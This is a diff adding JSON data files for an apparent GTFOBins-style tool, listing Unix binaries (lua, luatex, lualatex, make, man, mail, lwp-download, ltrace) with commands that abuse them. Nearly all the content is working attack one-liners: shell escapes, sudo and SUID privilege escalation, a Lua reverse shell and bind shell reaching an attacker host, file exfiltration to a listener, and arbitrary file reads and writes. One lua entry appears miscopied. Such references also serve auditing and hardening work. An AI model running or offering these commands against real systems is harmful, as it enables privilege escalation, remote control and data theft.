|
19
|
+
],
|
|
20
|
+
"sudo": [
|
|
21
|
+
{
|
|
22
|
+
"code": "sudo ltrace -b -L /bin/sh"
|
|
23
|
+
}
|
|
24
|
+
]
|
|
25
|
+
}
|
|
26
|
+
}
|
gtfo/data/lua.json
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "lua -e 'os.execute(\"/bin/sh\")'"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"non-interactive-reverse-shell": [
|
|
9
|
+
{
|
|
10
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This requires 'lua-socket' installed.",
|
|
11
|
+
"code": "lua -e 'local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"non-interactive-bind-shell": [
|
|
15
|
+
{
|
|
16
|
+
"description": "Run 'nc [host] [port]' on the attacker box to connect to the shell. This requires 'lua-socket' installed.",
|
|
17
|
+
"code": "lua -e 'local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n"
|
|
18
|
+
}
|
|
19
|
+
],
|
|
20
|
+
"file-upload": [
|
|
21
|
+
{
|
|
22
|
+
"description": "Send a local file via TCP. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file. This requires 'lua-socket' installed.",
|
|
23
|
+
"code": "lua -e '\n local f=io.open(\"[file]\", 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n t:send(d);\n t:close();'\n"
|
|
24
|
+
}
|
|
25
|
+
],
|
|
26
|
+
"file-download": [
|
|
27
|
+
{
|
|
28
|
+
"description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file. This requires 'lua-socket' to be installed.",
|
|
29
|
+
"code": "lua -e 'local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(\"[file]\", \"wb\");\n f:write(d);\n io.close(f);'\n"
|
|
30
|
+
}
|
|
31
|
+
],
|
|
32
|
+
"file-write": [
|
|
33
|
+
{
|
|
34
|
+
"code": "lua -e 'local f=io.open(\"[file]\", \"wb\"); f:write(\"DATA\"); io.close(f);'"
|
|
35
|
+
}
|
|
36
|
+
],
|
|
37
|
+
"file-read": [
|
|
38
|
+
{
|
|
39
|
+
"code": "lua -e 'local f=io.open(\"[file]\", \"rb\"); print(f:read(\"*a\")); io.close(f);'"
|
|
40
|
+
}
|
|
41
|
+
],
|
|
42
|
+
"suid": [
|
|
43
|
+
{
|
|
44
|
+
"code": "lua -e 'local f=io.open(\"[file]\", \"rb\"); print(f:read(\"*a\")); io.close(f);'"
|
|
45
|
+
}
|
|
46
|
+
],
|
|
47
|
+
"sudo": [
|
|
48
|
+
{
|
|
49
|
+
"code": "sudo lua -e 'os.execute(\"/bin/sh\")'"
|
|
50
|
+
}
|
|
51
|
+
],
|
|
52
|
+
"limited-suid": [
|
|
53
|
+
{
|
|
54
|
+
"code": "./lua -e 'os.execute(\"/bin/sh\")'"
|
|
55
|
+
}
|
|
56
|
+
]
|
|
57
|
+
}
|
|
58
|
+
}
|
gtfo/data/lualatex.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This allows to execute Lua code.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"limited-suid": [
|
|
15
|
+
{
|
|
16
|
+
"code": "./lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/luatex.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This allows to execute Lua code.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"limited-suid": [
|
|
15
|
+
{
|
|
16
|
+
"code": "./luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "Fetch a remote file via HTTP GET request.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-download": [
|
|
5
|
+
{
|
|
6
|
+
"code": "lwp-download [url] [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo lwp-download [url] [file]\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"file-read": [
|
|
15
|
+
{
|
|
16
|
+
"description": "The file path must be absolute.",
|
|
17
|
+
"code": "TF=$(mktemp)\nlwp-download \"file://[file]\" $TF\ncat $TF\n"
|
|
18
|
+
}
|
|
19
|
+
],
|
|
20
|
+
"file-write": [
|
|
21
|
+
{
|
|
22
|
+
"code": "TF=$(mktemp)\necho [data] >$TF\nlwp-download file://$TF [file]\n"
|
|
23
|
+
}
|
|
24
|
+
]
|
|
25
|
+
}
|
|
26
|
+
}
|
gtfo/data/mail.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "GNU version only.",
|
|
6
|
+
"code": "mail --exec='!/bin/sh'"
|
|
7
|
+
},
|
|
8
|
+
{
|
|
9
|
+
"description": "This creates a valid Mbox file which may be required by the binary.",
|
|
10
|
+
"code": "TF=$(mktemp)\necho \"From nobody@localhost $(date)\" > $TF\nmail -f $TF\n!/bin/sh\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"sudo": [
|
|
14
|
+
{
|
|
15
|
+
"description": "GNU version only.",
|
|
16
|
+
"code": "sudo mail --exec='!/bin/sh'"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/make.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "All these examples only work with GNU 'make' due to the lack of support of the '--eval' flag. The same can be achieved by using a proper 'Makefile' or by passing the content via stdin using '-f -'.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "make -s --eval=$'x:\\n\\t-'\"/bin/sh\"\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-write": [
|
|
10
|
+
{
|
|
11
|
+
"description": "Requires a newer GNU 'make' version.",
|
|
12
|
+
"code": "make -s --eval=\"\\$(file >[file],DATA)\" .\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"suid": [
|
|
16
|
+
{
|
|
17
|
+
"code": "./make -s --eval=$'x:\\n\\t-'\"/bin/sh -p\"\n"
|
|
18
|
+
}
|
|
19
|
+
],
|
|
20
|
+
"sudo": [
|
|
21
|
+
{
|
|
22
|
+
"code": "sudo make -s --eval=$'x:\\n\\t-'\"/bin/sh\"\n"
|
|
23
|
+
}
|
|
24
|
+
]
|
|
25
|
+
}
|
|
26
|
+
}
|
gtfo/data/man.json
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "man man\n!/bin/sh\n"
|
|
7
|
+
},
|
|
8
|
+
{
|
|
9
|
+
"description": "This only works for GNU 'man' and requires GNU 'troff' to be installed.",
|
|
10
|
+
"code": "man '-H/bin/sh #' man\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"file-read": [
|
|
14
|
+
{
|
|
15
|
+
"code": "man [file]"
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"sudo": [
|
|
19
|
+
{
|
|
20
|
+
"code": "sudo man man\n!/bin/sh\n"
|
|
21
|
+
}
|
|
22
|
+
]
|
|
23
|
+
}
|
|
24
|
+
}
|